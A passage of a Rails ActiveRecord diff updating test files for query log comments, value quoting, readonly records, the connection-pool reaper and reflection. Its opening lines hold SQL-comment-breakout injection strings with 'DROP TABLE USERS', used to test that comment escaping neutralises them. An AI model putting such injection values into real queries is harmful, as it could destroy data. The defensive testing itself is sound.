+    assert_equal "** //; DROP TABLE USERS;/ *", ActiveRecord::QueryLogs.send(:escape_sql_comment, "**//; DROP TABLE USERS;/*")
+    assert_equal "* * //; DROP TABLE USERS;// * *", ActiveRecord::QueryLogs.send(:escape_sql_comment, "* *//; DROP TABLE USERS;//* *")
+  end
+
+  def test_basic_commenting
+    ActiveRecord::QueryLogs.tags = [ :application ]
+
+    assert_queries_match(%r{select id from posts /\*application:active_record\*/$}) do
+      ActiveRecord::Base.lease_connection.execute "select id from posts"
+    end
+  end
+
+  def test_add_comments_to_beginning_of_query
+    ActiveRecord::QueryLogs.tags = [ :application ]
+    ActiveRecord::QueryLogs.prepend_comment = true
+
+    assert_queries_match(%r{/\*application:active_record\*/ select id from posts$}) do
+      ActiveRecord::Base.lease_connection.execute "select id from posts"
+    end
+  end
+
+  def test_exists_is_commented
+    ActiveRecord::QueryLogs.tags = [ :application ]
+    assert_queries_match(%r{/\*application:active_record\*/}) do
+      Dashboard.exists?
+    end
+  end
+
+  def test_delete_is_commented
+    ActiveRecord::QueryLogs.tags = [ :application ]
+    record = Dashboard.first
+
+    assert_queries_match(%r{/\*application:active_record\*/}) do
+      record.destroy
+    end
+  end
+
+  def test_update_is_commented
+    ActiveRecord::QueryLogs.tags = [ :application ]
+
+    assert_queries_match(%r{/\*application:active_record\*/}) do
+      dash = Dashboard.first
+      dash.name = "New name"
+      dash.save
+    end
+  end
+
+  def test_create_is_commented
+    ActiveRecord::QueryLogs.tags = [ :application ]
+
+    assert_queries_match(%r{/\*application:active_record\*/}) do
+      Dashboard.create(name: "Another dashboard")
+    end
+  end
+
+  def test_select_is_commented
+    ActiveRecord::QueryLogs.tags = [ :application ]
+
+    assert_queries_match(%r{/\*application:active_record\*/}) do
+      Dashboard.all.to_a
+    end
+  end
+
+  def test_retrieves_comment_from_cache_when_enabled_and_set
+    ActiveRecord::QueryLogs.cache_query_log_tags = true
+    i = 0
+    ActiveRecord::QueryLogs.tags = [ { query_counter: -> { i += 1 } } ]
+
+    assert_queries_match("SELECT 1 /*query_counter:1*/") do
+      ActiveRecord::Base.lease_connection.execute "SELECT 1"
+    end
+
+    assert_queries_match("SELECT 1 /*query_counter:1*/") do
+      ActiveRecord::Base.lease_connection.execute "SELECT 1"
+    end
+  end
+
+  def test_resets_cache_on_context_update
+    ActiveRecord::QueryLogs.cache_query_log_tags = true
+    ActiveSupport::ExecutionContext[:temporary] = "value"
+    ActiveRecord::QueryLogs.tags = [ temporary_tag: ->(context) { context[:temporary] } ]
+
+    assert_queries_match("SELECT 1 /*temporary_tag:value*/") do
+      ActiveRecord::Base.lease_connection.execute "SELECT 1"
+    end
+
+    ActiveSupport::ExecutionContext[:temporary] = "new_value"
+
+    assert_queries_match("SELECT 1 /*temporary_tag:new_value*/") do
+      ActiveRecord::Base.lease_connection.execute "SELECT 1"
+    end
+  end
+
+  def test_default_tag_behavior
+    ActiveRecord::QueryLogs.tags = [:application, :foo]
+    ActiveSupport::ExecutionContext.set(foo: "bar") do
+      assert_queries_match(%r{/\*application:active_record,foo:bar\*/}) do
+        Dashboard.first
+      end
+    end
+    assert_queries_match(%r{/\*application:active_record\*/}) do
+      Dashboard.first
+    end
+  end
+
+  def test_connection_is_passed_to_tagging_proc
+    connection = ActiveRecord::Base.lease_connection
+    ActiveRecord::QueryLogs.tags = [ same_connection: ->(context) { context[:connection] == connection } ]
+
+    assert_queries_match("SELECT 1 /*same_connection:true*/") do
+      connection.execute "SELECT 1"
+    end
+  end
+
+  def test_connection_does_not_override_already_existing_connection_in_context
+    fake_connection = Object.new
+    ActiveSupport::ExecutionContext[:connection] = fake_connection
+    ActiveRecord::QueryLogs.tags = [ fake_connection: ->(context) { context[:connection] == fake_connection } ]
+
+    assert_queries_match("SELECT 1 /*fake_connection:true*/") do
+      ActiveRecord::Base.lease_connection.execute "SELECT 1"
+    end
+  end
+
+  def test_empty_comments_are_not_added
+    ActiveRecord::QueryLogs.tags = [ empty: -> { nil } ]
+    assert_queries_match(%r{select id from posts$}) do
+      ActiveRecord::Base.lease_connection.execute "select id from posts"
+    end
+  end
+
+  def test_sql_commenter_format
+    ActiveRecord::QueryLogs.tags_formatter = :sqlcommenter
+    ActiveRecord::QueryLogs.tags = [:application]
+
+    assert_queries_match(%r{/\*application='active_record'\*/}) do
+      Dashboard.first
+    end
+  end
+
+  def test_custom_basic_tags
+    ActiveRecord::QueryLogs.tags = [ :application, { custom_string: "test content" } ]
+
+    assert_queries_match(%r{/\*application:active_record,custom_string:test content\*/}) do
+      Dashboard.first
+    end
+  end
+
+  def test_custom_proc_tags
+    ActiveRecord::QueryLogs.tags = [ :application, { custom_proc: -> { "test content" } } ]
+
+    assert_queries_match(%r{/\*application:active_record,custom_proc:test content\*/}) do
+      Dashboard.first
+    end
+  end
+
+  def test_multiple_custom_tags
+    ActiveRecord::QueryLogs.tags = [
+      :application,
+      { custom_proc: -> { "test content" }, another_proc: -> { "more test content" } },
+    ]
+
+    assert_queries_match(%r{/\*another_proc:more test content,application:active_record,custom_proc:test content\*/}) do
+      Dashboard.first
+    end
+  end
+
+  def test_sqlcommenter_format_value
+    ActiveRecord::QueryLogs.tags_formatter = :sqlcommenter
+
+    ActiveRecord::QueryLogs.tags = [
+      :application,
+      { tracestate: "congo=t61rcWkgMzE,rojo=00f067aa0ba902b7", custom_proc: -> { "Joe's Shack" } },
+    ]
+
+    assert_queries_match(%r{custom_proc='Joe%27s%20Shack',tracestate='congo%3Dt61rcWkgMzE%2Crojo%3D00f067aa0ba902b7'\*/}) do
+      Dashboard.first
+    end
+  end
+
+  def test_sqlcommenter_format_allows_string_keys
+    ActiveRecord::QueryLogs.tags_formatter = :sqlcommenter
+
+    ActiveRecord::QueryLogs.tags = [
+      :application,
+      {
+        "string" => "value",
+        tracestate: "congo=t61rcWkgMzE,rojo=00f067aa0ba902b7",
+        custom_proc: -> { "Joe's Shack" }
+      },
+    ]
+
+    assert_queries_match(%r{custom_proc='Joe%27s%20Shack',string='value',tracestate='congo%3Dt61rcWkgMzE%2Crojo%3D00f067aa0ba902b7'\*/}) do
+      Dashboard.first
+    end
+  end
+
+  def test_sqlcommenter_format_value_string_coercible
+    ActiveRecord::QueryLogs.tags_formatter = :sqlcommenter
+
+    ActiveRecord::QueryLogs.tags = [
+      :application,
+      { custom_proc: -> { 1234 } },
+    ]
+
+    assert_queries_match(%r{custom_proc='1234'\*/}) do
+      Dashboard.first
+    end
+  end
+
+  # PostgreSQL does validate the query encoding. Other adapters don't care.
+  unless current_adapter?(:PostgreSQLAdapter)
+    def test_invalid_encoding_query
+      ActiveRecord::QueryLogs.tags = [ :application ]
+      assert_nothing_raised do
+        ActiveRecord::Base.lease_connection.execute "select 1 as '\xFF'"
+      end
+    end
+  end
+
+  def test_custom_proc_context_tags
+    ActiveSupport::ExecutionContext[:foo] = "bar"
+    ActiveRecord::QueryLogs.tags = [ :application, { custom_context_proc: ->(context) { context[:foo] } } ]
+
+    assert_queries_match(%r{/\*application:active_record,custom_context_proc:bar\*/}) do
+      Dashboard.first
+    end
+  end
+end
diff --git a/activerecord/test/cases/quoting_test.rb b/activerecord/test/cases/quoting_test.rb
index 5ff5e3c735e81..06ab993d84615 100644
--- a/activerecord/test/cases/quoting_test.rb
+++ b/activerecord/test/cases/quoting_test.rb
@@ -1,30 +1,42 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
 module ActiveRecord
   module ConnectionAdapters
     class QuotingTest < ActiveRecord::TestCase
       def setup
-        @quoter = Class.new { include Quoting }.new
+        @quoter = Class.new {
+          include Quoting
+
+          def default_timezone
+            ActiveRecord.default_timezone
+          end
+        }.new
       end
 
       def test_quoted_true
-        assert_equal "'t'", @quoter.quoted_true
+        assert_equal "TRUE", @quoter.quoted_true
       end
 
       def test_quoted_false
-        assert_equal "'f'", @quoter.quoted_false
+        assert_equal "FALSE", @quoter.quoted_false
       end
 
       def test_quote_column_name
-        assert_equal "foo", @quoter.quote_column_name("foo")
+        assert_raises NotImplementedError do
+          @quoter.quote_column_name("foo")
+        end
       end
 
       def test_quote_table_name
-        assert_equal "foo", @quoter.quote_table_name("foo")
+        assert_raises NotImplementedError do
+          @quoter.quote_table_name("foo")
+        end
       end
 
       def test_quote_table_name_calls_quote_column_name
-        @quoter.extend(Module.new {
+        @quoter.class.extend(Module.new {
           def quote_column_name(string)
             "lol"
           end
@@ -41,34 +53,75 @@ def test_quote_string
 
       def test_quoted_date
         t = Date.today
-        assert_equal t.to_s(:db), @quoter.quoted_date(t)
+        assert_equal t.to_fs(:db), @quoter.quoted_date(t)
+      end
+
+      def test_quoted_timestamp_utc
+        with_timezone_config default: :utc do
+          t = Time.now.change(usec: 0)
+          assert_equal t.getutc.to_fs(:db), @quoter.quoted_date(t)
+        end
+      end
+
+      def test_quoted_timestamp_local
+        with_timezone_config default: :local do
+          t = Time.now.change(usec: 0)
+          assert_equal t.getlocal.to_fs(:db), @quoter.quoted_date(t)
+        end
       end
 
       def test_quoted_time_utc
         with_timezone_config default: :utc do
           t = Time.now.change(usec: 0)
-          assert_equal t.getutc.to_s(:db), @quoter.quoted_date(t)
+
+          expected = t.change(year: 2000, month: 1, day: 1)
+          expected = expected.getutc.to_fs(:db).slice(11..-1)
+
+          assert_equal expected, @quoter.quoted_time(t)
         end
       end
 
       def test_quoted_time_local
         with_timezone_config default: :local do
           t = Time.now.change(usec: 0)
-          assert_equal t.getlocal.to_s(:db), @quoter.quoted_date(t)
+
+          expected = t.change(year: 2000, month: 1, day: 1)
+          expected = expected.getlocal.to_fs(:db).sub("2000-01-01 ", "")
+
+          assert_equal expected, @quoter.quoted_time(t)
         end
       end
 
-      def test_quoted_time_crazy
-        with_timezone_config default: :asdfasdf do
-          t = Time.now.change(usec: 0)
-          assert_equal t.getlocal.to_s(:db), @quoter.quoted_date(t)
+      def test_quoted_time_dst_utc
+        with_env_tz "America/New_York" do
+          with_timezone_config default: :utc do
+            t = Time.new(2000, 7, 1, 0, 0, 0, "+04:30")
+
+            expected = t.change(year: 2000, month: 1, day: 1)
+            expected = expected.getutc.to_fs(:db).slice(11..-1)
+
+            assert_equal expected, @quoter.quoted_time(t)
+          end
+        end
+      end
+
+      def test_quoted_time_dst_local
+        with_env_tz "America/New_York" do
+          with_timezone_config default: :local do
+            t = Time.new(2000, 7, 1, 0, 0, 0, "+04:30")
+
+            expected = t.change(year: 2000, month: 1, day: 1)
+            expected = expected.getlocal.to_fs(:db).slice(11..-1)
+
+            assert_equal expected, @quoter.quoted_time(t)
+          end
         end
       end
 
       def test_quoted_datetime_utc
         with_timezone_config default: :utc do
           t = Time.now.change(usec: 0).to_datetime
-          assert_equal t.getutc.to_s(:db), @quoter.quoted_date(t)
+          assert_equal t.getutc.to_fs(:db), @quoter.quoted_date(t)
         end
       end
 
@@ -77,14 +130,10 @@ def test_quoted_datetime_utc
       def test_quoted_datetime_local
         with_timezone_config default: :local do
           t = Time.now.change(usec: 0).to_datetime
-          assert_equal t.to_s(:db), @quoter.quoted_date(t)
+          assert_equal t.to_fs(:db), @quoter.quoted_date(t)
         end
       end
 
-      def test_quote_with_quoted_id
-        assert_equal 1, @quoter.quote(Struct.new(:quoted_id).new(1))
-      end
-
       def test_quote_nil
         assert_equal "NULL", @quoter.quote(nil)
       end
@@ -113,7 +162,7 @@ def test_quote_bignum
       end
 
       def test_quote_bigdecimal
-        bigdec = BigDecimal.new((1 << 100).to_s)
+        bigdec = BigDecimal((1 << 100).to_s)
         assert_equal bigdec.to_s("F"), @quoter.quote(bigdec)
       end
 
@@ -128,10 +177,10 @@ def test_quoting_classes
         assert_equal "'Object'", @quoter.quote(Object)
       end
 
-      def test_crazy_object
-        crazy = Object.new
+      def test_quote_object_instance
+        object = Object.new
         e = assert_raises(TypeError) do
-          @quoter.quote(crazy)
+          @quoter.quote(object)
         end
         assert_equal "can't quote Object", e.message
       end
@@ -141,18 +190,69 @@ def test_quote_string_no_column
       end
 
       def test_quote_as_mb_chars_no_column
-        string = ActiveSupport::Multibyte::Chars.new('lo\l')
-        assert_equal "'lo\\\\l'", @quoter.quote(string)
+        assert_deprecated(ActiveSupport.deprecator) do
+          string = ActiveSupport::Multibyte::Chars.new('lo\l')
+          assert_equal "'lo\\\\l'", @quoter.quote(string)
+        end
       end
 
       def test_quote_duration
-        assert_equal "1800", @quoter.quote(30.minutes)
+        exception = assert_raises(TypeError) { @quoter.quote(30.minutes) }
+        assert_equal "can't quote ActiveSupport::Duration", exception.message
+      end
+    end
+
+    class TypeCastingTest < ActiveRecord::TestCase
+      def setup
+        @conn = ActiveRecord::Base.lease_connection
+      end
+
+      def test_type_cast_symbol
+        assert_equal "foo", @conn.type_cast(:foo)
+      end
+
+      def test_type_cast_date
+        date = Date.today
+        if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+          expected = date
+        else
+          expected = @conn.quoted_date(date)
+        end
+        assert_equal expected, @conn.type_cast(date)
+      end
+
+      def test_type_cast_time
+        time = Time.now
+        if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+          expected = time
+        else
+          expected = @conn.quoted_date(time)
+        end
+        assert_equal expected, @conn.type_cast(time)
+      end
+
+      def test_type_cast_numeric
+        assert_equal 10, @conn.type_cast(10)
+        assert_equal 2.2, @conn.type_cast(2.2)
+      end
+
+      def test_type_cast_nil
+        assert_nil @conn.type_cast(nil)
+      end
+
+      def test_type_cast_unknown_should_raise_error
+        obj = Class.new.new
+        assert_raise(TypeError) { @conn.type_cast(obj) }
+      end
+
+      def test_type_cast_duration_should_raise_error
+        assert_raise(TypeError) { @conn.type_cast(1.hour) }
       end
     end
 
     class QuoteBooleanTest < ActiveRecord::TestCase
       def setup
-        @connection = ActiveRecord::Base.connection
+        @connection = ActiveRecord::Base.lease_connection
       end
 
       def test_quote_returns_frozen_string
diff --git a/activerecord/test/cases/readonly_test.rb b/activerecord/test/cases/readonly_test.rb
index a93061b516b47..9e310da563b51 100644
--- a/activerecord/test/cases/readonly_test.rb
+++ b/activerecord/test/cases/readonly_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/author"
 require "models/post"
@@ -10,18 +12,18 @@
 require "models/ship"
 
 class ReadOnlyTest < ActiveRecord::TestCase
-  fixtures :authors, :posts, :comments, :developers, :projects, :developers_projects, :people, :readers
+  fixtures :authors, :author_addresses, :posts, :comments, :developers, :projects, :developers_projects, :people, :readers
 
   def test_cant_save_readonly_record
     dev = Developer.find(1)
-    assert !dev.readonly?
+    assert_not_predicate dev, :readonly?
 
     dev.readonly!
-    assert dev.readonly?
+    assert_predicate dev, :readonly?
 
     assert_nothing_raised do
       dev.name = "Luscious forbidden fruit."
-      assert !dev.save
+      assert_not dev.save
       dev.name = "Forbidden."
     end
 
@@ -35,73 +37,111 @@ def test_cant_save_readonly_record
     assert_equal "Developer is marked as readonly", e.message
   end
 
+  def test_cant_touch_readonly_record
+    dev = Developer.find(1)
+    assert_not_predicate dev, :readonly?
+
+    dev.readonly!
+    assert_predicate dev, :readonly?
+
+    e = assert_raise(ActiveRecord::ReadOnlyRecord) { dev.touch  }
+    assert_equal "Developer is marked as readonly", e.message
+  end
+
+  def test_cant_touch_readonly_column
+    person = Person.find(1)
+
+    e = assert_raise(ActiveRecord::ActiveRecordError) { person.touch(:born_at)  }
+    assert_equal "born_at is marked as readonly", e.message
+  end
+
+  def test_cant_update_column_readonly_record
+    dev = Developer.find(1)
+    assert_not_predicate dev, :readonly?
+
+    dev.readonly!
+    assert_predicate dev, :readonly?
+
+    e = assert_raise(ActiveRecord::ReadOnlyRecord) { dev.update_column(:name, "New name")  }
+    assert_equal "Developer is marked as readonly", e.message
+  end
+
+  def test_cant_update_columns_readonly_record
+    dev = Developer.find(1)
+    assert_not_predicate dev, :readonly?
+
+    dev.readonly!
+    assert_predicate dev, :readonly?
+
+    e = assert_raise(ActiveRecord::ReadOnlyRecord) { dev.update_columns(name: "New name")  }
+    assert_equal "Developer is marked as readonly", e.message
+  end
+
   def test_find_with_readonly_option
-    Developer.all.each { |d| assert !d.readonly? }
-    Developer.readonly(false).each { |d| assert !d.readonly? }
-    Developer.readonly(true).each { |d| assert d.readonly? }
-    Developer.readonly.each { |d| assert d.readonly? }
+    Developer.all.each { |d| assert_not d.readonly? }
+    Developer.all.tap { |rel| assert_not rel.readonly? }
+    Developer.readonly(false).each { |d| assert_not d.readonly? }
+    Developer.readonly(true).each { |d| assert_predicate d, :readonly? }
+    Developer.readonly.each { |d| assert_predicate d, :readonly? }
+    Developer.readonly.tap { |rel| assert_predicate rel, :readonly? }
   end
 
   def test_find_with_joins_option_does_not_imply_readonly
     Developer.joins("  ").each { |d| assert_not d.readonly? }
-    Developer.joins("  ").readonly(true).each { |d| assert d.readonly? }
+    Developer.joins("  ").readonly(true).each { |d| assert_predicate d, :readonly? }
 
     Developer.joins(", projects").each { |d| assert_not d.readonly? }
-    Developer.joins(", projects").readonly(true).each { |d| assert d.readonly? }
+    Developer.joins(", projects").readonly(true).each { |d| assert_predicate d, :readonly? }
   end
 
   def test_has_many_find_readonly
     post = Post.find(1)
-    assert !post.comments.empty?
-    assert !post.comments.any?(&:readonly?)
-    assert !post.comments.to_a.any?(&:readonly?)
+    assert_not_empty post.comments
+    assert_not post.comments.any?(&:readonly?)
+    assert_not post.comments.to_a.any?(&:readonly?)
     assert post.comments.readonly(true).all?(&:readonly?)
   end
 
   def test_has_many_with_through_is_not_implicitly_marked_readonly
     assert people = Post.find(1).people
-    assert !people.any?(&:readonly?)
+    assert_not people.any?(&:readonly?)
   end
 
   def test_has_many_with_through_is_not_implicitly_marked_readonly_while_finding_by_id
-    assert !posts(:welcome).people.find(1).readonly?
+    assert_not_predicate posts(:welcome).people.find(1), :readonly?
   end
 
   def test_has_many_with_through_is_not_implicitly_marked_readonly_while_finding_first
-    assert !posts(:welcome).people.first.readonly?
+    assert_not_predicate posts(:welcome).people.first, :readonly?
   end
 
   def test_has_many_with_through_is_not_implicitly_marked_readonly_while_finding_last
-    assert !posts(:welcome).people.last.readonly?
+    assert_not_predicate posts(:welcome).people.last, :readonly?
   end
 
   def test_readonly_scoping
     Post.where("1=1").scoping do
-      assert !Post.find(1).readonly?
-      assert Post.readonly(true).find(1).readonly?
-      assert !Post.readonly(false).find(1).readonly?
+      assert_not_predicate Post.find(1), :readonly?
+      assert_predicate Post.readonly(true).find(1), :readonly?
+      assert_not_predicate Post.readonly(false).find(1), :readonly?
     end
 
     Post.joins("   ").scoping do
-      assert !Post.find(1).readonly?
-      assert Post.readonly.find(1).readonly?
-      assert !Post.readonly(false).find(1).readonly?
+      assert_not_predicate Post.find(1), :readonly?
+      assert_predicate Post.readonly.find(1), :readonly?
+      assert_not_predicate Post.readonly(false).find(1), :readonly?
     end
 
-    # Oracle barfs on this because the join includes unqualified and
-    # conflicting column names
-    unless current_adapter?(:OracleAdapter)
-      Post.joins(", developers").scoping do
-        assert_not Post.find(1).readonly?
-        assert Post.readonly.find(1).readonly?
-        assert !Post.readonly(false).find(1).readonly?
-      end
+    Post.joins(", developers").scoping do
+      assert_not_predicate Post.find(1), :readonly?
+      assert_predicate Post.readonly.find(1), :readonly?
+      assert_not_predicate Post.readonly(false).find(1), :readonly?
     end
 
     Post.readonly(true).scoping do
-      assert Post.find(1).readonly?
-      assert Post.readonly.find(1).readonly?
-      assert !Post.readonly(false).find(1).readonly?
+      assert_predicate Post.find(1), :readonly?
+      assert_predicate Post.readonly.find(1), :readonly?
+      assert_not_predicate Post.readonly(false).find(1), :readonly?
     end
   end
 
@@ -109,10 +149,10 @@ def test_association_collection_method_missing_scoping_not_readonly
     developer = Developer.find(1)
     project   = Post.find(1)
 
-    assert !developer.projects.all_as_method.first.readonly?
-    assert !developer.projects.all_as_scope.first.readonly?
+    assert_not_predicate developer.projects.all_as_method.first, :readonly?
+    assert_not_predicate developer.projects.all_as_scope.first, :readonly?
 
-    assert !project.comments.all_as_method.first.readonly?
-    assert !project.comments.all_as_scope.first.readonly?
+    assert_not_predicate project.comments.all_as_method.first, :readonly?
+    assert_not_predicate project.comments.all_as_scope.first, :readonly?
   end
 end
diff --git a/activerecord/test/cases/reaper_test.rb b/activerecord/test/cases/reaper_test.rb
index 249878b67da71..d845bfc07f968 100644
--- a/activerecord/test/cases/reaper_test.rb
+++ b/activerecord/test/cases/reaper_test.rb
@@ -1,85 +1,235 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
 module ActiveRecord
   module ConnectionAdapters
     class ReaperTest < ActiveRecord::TestCase
-      attr_reader :pool
-
-      def setup
-        super
-        @pool = ConnectionPool.new ActiveRecord::Base.connection_pool.spec
-      end
-
-      teardown do
-        @pool.connections.each(&:close)
-      end
-
       class FakePool
         attr_reader :reaped
+        attr_reader :flushed
 
-        def initialize
+        def initialize(discarded: false)
           @reaped = false
+          @discarded = discarded
         end
 
         def reap
           @reaped = true
         end
+
+        def flush
+          @flushed = true
+        end
+
+        def discard!
+          @discarded = true
+        end
+
+        def discarded?
+          @discarded
+        end
+
+        def prepopulate
+        end
+
+        def preconnect
+        end
+
+        def keep_alive
+        end
+
+        def retire_old_connections
+        end
+
+        def maintainable?
+          !discarded? && !flushed && !reaped
+        end
+
+        def reaper_lock
+          yield
+        end
       end
 
       # A reaper with nil time should never reap connections
       def test_nil_time
         fp = FakePool.new
-        assert !fp.reaped
+        assert_not fp.reaped
         reaper = ConnectionPool::Reaper.new(fp, nil)
         reaper.run
-        assert !fp.reaped
+        assert_not fp.reaped
+      ensure
+        fp.discard!
       end
 
       def test_some_time
         fp = FakePool.new
-        assert !fp.reaped
+        assert_not fp.reaped
 
         reaper = ConnectionPool::Reaper.new(fp, 0.0001)
         reaper.run
-        until fp.reaped
+        until fp.flushed
           Thread.pass
         end
         assert fp.reaped
+        assert fp.flushed
+      ensure
+        fp.discard!
       end
 
       def test_pool_has_reaper
+        config = ActiveRecord::Base.configurations.configs_for(env_name: "arunit", name: "primary")
+        pool_config = PoolConfig.new(ActiveRecord::Base, config, :writing, :default)
+        pool = ConnectionPool.new(pool_config)
+
         assert pool.reaper
+      ensure
+        pool.discard!
       end
 
       def test_reaping_frequency_configuration
-        spec = ActiveRecord::Base.connection_pool.spec.dup
-        spec.config[:reaping_frequency] = 100
-        pool = ConnectionPool.new spec
-        assert_equal 100, pool.reaper.frequency
+        pool_config = duplicated_pool_config(reaping_frequency: "10.01")
+        pool = ConnectionPool.new(pool_config)
+
+        assert_equal 10.01, pool.reaper.frequency
+      ensure
+        pool.discard!
       end
 
       def test_connection_pool_starts_reaper
-        spec = ActiveRecord::Base.connection_pool.spec.dup
-        spec.config[:reaping_frequency] = "0.0001"
+        pool_config = duplicated_pool_config(reaping_frequency: "0.0001")
+        pool = ConnectionPool.new(pool_config)
+
+        conn, child = new_conn_in_thread(pool)
 
-        pool = ConnectionPool.new spec
+        assert_predicate conn, :in_use?
 
-        conn = nil
-        child = Thread.new do
-          conn = pool.checkout
-          Thread.stop
+        child.terminate
+
+        wait_for_conn_idle(conn)
+        assert_not_predicate conn, :in_use?
+      ensure
+        pool.discard!
+      end
+
+      def test_reaper_works_after_pool_discard
+        pool_config = duplicated_pool_config(reaping_frequency: "0.0001")
+
+        2.times do
+          pool = ConnectionPool.new(pool_config)
+
+          conn, child = new_conn_in_thread(pool)
+
+          assert_predicate conn, :in_use?
+
+          child.terminate
+
+          wait_for_conn_idle(conn)
+          assert_not_predicate conn, :in_use?
+
+          pool.discard!
         end
-        Thread.pass while conn.nil?
+      end
 
-        assert conn.in_use?
+      # This doesn't test the reaper directly, but we want to test the action
+      # it would take on a discarded pool
+      def test_reap_flush_on_discarded_pool
+        pool_config = duplicated_pool_config
+        pool = ConnectionPool.new(pool_config)
 
-        child.terminate
+        pool.discard!
+        assert_nothing_raised do
+          pool.reap
+          pool.flush
+        end
+      end
 
-        while conn.in_use?
+      if Process.respond_to?(:fork)
+        def test_connection_pool_starts_reaper_in_fork
+          pool_config = duplicated_pool_config(reaping_frequency: "0.0001")
+          pool = ConnectionPool.new(pool_config)
+          pool.checkout
+
+          # We currently have a bug somewhere which leads for this test case to be deadlocked
+          # and timeout after 30 minutes on the CI. Until that bug is fixed, this test is made
+          # to timeout after a short period of time to reduce the damage.
+          reader, writer = IO.pipe
+
+          pid = fork do
+            reader.close
+            pool = ConnectionPool.new(pool_config)
+
+            conn, child = new_conn_in_thread(pool)
+            child.terminate
+
+            wait_for_conn_idle(conn)
+            writer.close
+            if conn.in_use?
+              exit!(1)
+            else
+              exit!(0)
+            end
+          end
+
+          writer.close
+          completed = reader.wait_readable(20)
+          reader.close
+          unless completed
+            Process.kill("ABRT", pid)
+          end
+          _, status = Process.wait2(pid)
+          assert_predicate status, :success?
+        ensure
+          pool.discard!
+        end
+      end
+
+      def test_reaper_does_not_reap_discarded_connection_pools
+        discarded_pool = FakePool.new(discarded: true)
+        pool = FakePool.new
+        frequency = 0.001
+
+        ConnectionPool::Reaper.new(discarded_pool, frequency).run
+        ConnectionPool::Reaper.new(pool, frequency).run
+
+        until pool.flushed
           Thread.pass
         end
-        assert !conn.in_use?
+
+        assert_not discarded_pool.reaped
+        assert pool.reaped
+      ensure
+        pool.discard!
       end
+
+      private
+        def duplicated_pool_config(merge_config_options = {})
+          old_config = ActiveRecord::Base.connection_pool.db_config.configuration_hash.merge(merge_config_options)
+          db_config = ActiveRecord::DatabaseConfigurations::HashConfig.new("arunit", "primary", old_config.dup)
+          PoolConfig.new(ActiveRecord::Base, db_config, :writing, :default)
+        end
+
+        def new_conn_in_thread(pool)
+          event = Concurrent::Event.new
+          conn = nil
+
+          child = Thread.new do
+            conn = pool.checkout
+            conn.select_rows("SELECT 1") # ensure connected
+            event.set
+            Thread.stop
+          end
+
+          event.wait
+          [conn, child]
+        end
+
+        def wait_for_conn_idle(conn, timeout = 5)
+          start = Process.clock_gettime(Process::CLOCK_MONOTONIC)
+          while conn.in_use? && Process.clock_gettime(Process::CLOCK_MONOTONIC) - start < timeout
+            Thread.pass
+          end
+        end
     end
   end
 end
diff --git a/activerecord/test/cases/reflection_test.rb b/activerecord/test/cases/reflection_test.rb
index c1c2efb9c8972..9bc095e671654 100644
--- a/activerecord/test/cases/reflection_test.rb
+++ b/activerecord/test/cases/reflection_test.rb
@@ -1,6 +1,9 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 require "models/topic"
 require "models/customer"
+require "models/comment"
 require "models/company"
 require "models/company_in_module"
 require "models/ship"
@@ -23,8 +26,14 @@
 require "models/department"
 require "models/cake_designer"
 require "models/drink_designer"
-require "models/mocktail_designer"
 require "models/recipe"
+require "models/user_with_invalid_relation"
+require "models/hardback"
+require "models/sharded/comment"
+require "models/admin"
+require "models/admin/user"
+require "models/user"
+require "models/dats"
 
 class ReflectionTest < ActiveRecord::TestCase
   include ActiveRecord::Reflection
@@ -42,36 +51,41 @@ def test_human_name
 
   def test_read_attribute_names
     assert_equal(
-      %w( id title author_name author_email_address bonus_time written_on last_read content important group approved replies_count unique_replies_count parent_id parent_title type created_at updated_at ).sort,
+      %w( id title author_name author_email_address bonus_time written_on last_read content important binary_content group approved replies_count unique_replies_count parent_id parent_title type created_at updated_at ).sort,
       @first.attribute_names.sort
     )
   end
 
   def test_columns
-    assert_equal 18, Topic.columns.length
+    assert_equal 19, Topic.columns.length
   end
 
   def test_columns_are_returned_in_the_order_they_were_declared
     column_names = Topic.columns.map(&:name)
-    assert_equal %w(id title author_name author_email_address written_on bonus_time last_read content important approved replies_count unique_replies_count parent_id parent_title type group created_at updated_at), column_names
+    assert_equal %w(id title author_name author_email_address written_on bonus_time last_read content important binary_content approved replies_count unique_replies_count parent_id parent_title type group created_at updated_at), column_names
   end
 
   def test_content_columns
     content_columns        = Topic.content_columns
     content_column_names   = content_columns.map(&:name)
-    assert_equal 13, content_columns.length
-    assert_equal %w(title author_name author_email_address written_on bonus_time last_read content important group approved parent_title created_at updated_at).sort, content_column_names.sort
+    assert_equal 14, content_columns.length
+    assert_equal %w(title author_name author_email_address written_on bonus_time last_read content important binary_content group approved parent_title created_at updated_at).sort, content_column_names.sort
   end
 
   def test_column_string_type_and_limit
     assert_equal :string, @first.column_for_attribute("title").type
+    assert_equal :string, @first.column_for_attribute(:title).type
+    assert_equal :string, @first.type_for_attribute("title").type
+    assert_equal :string, @first.type_for_attribute(:title).type
+    assert_equal :string, @first.type_for_attribute("heading").type
+    assert_equal :string, @first.type_for_attribute(:heading).type
     assert_equal 250, @first.column_for_attribute("title").limit
   end
 
   def test_column_null_not_null
     subscriber = Subscriber.first
     assert subscriber.column_for_attribute("name").null
-    assert !subscriber.column_for_attribute("nick").null
+    assert_not subscriber.column_for_attribute("nick").null
   end
 
   def test_human_name_for_column
@@ -80,6 +94,9 @@ def test_human_name_for_column
 
   def test_integer_columns
     assert_equal :integer, @first.column_for_attribute("id").type
+    assert_equal :integer, @first.column_for_attribute(:id).type
+    assert_equal :integer, @first.type_for_attribute("id").type
+    assert_equal :integer, @first.type_for_attribute(:id).type
   end
 
   def test_non_existent_columns_return_null_object
@@ -88,6 +105,9 @@ def test_non_existent_columns_return_null_object
     assert_equal "attribute_that_doesnt_exist", column.name
     assert_nil column.sql_type
     assert_nil column.type
+
+    column = @first.column_for_attribute(:attribute_that_doesnt_exist)
+    assert_instance_of ActiveRecord::ConnectionAdapters::NullColumn, column
   end
 
   def test_non_existent_types_are_identity_types
@@ -97,6 +117,11 @@ def test_non_existent_types_are_identity_types
     assert_equal object, type.deserialize(object)
     assert_equal object, type.cast(object)
     assert_equal object, type.serialize(object)
+
+    type = @first.type_for_attribute(:attribute_that_doesnt_exist)
+    assert_equal object, type.deserialize(object)
+    assert_equal object, type.cast(object)
+    assert_equal object, type.serialize(object)
   end
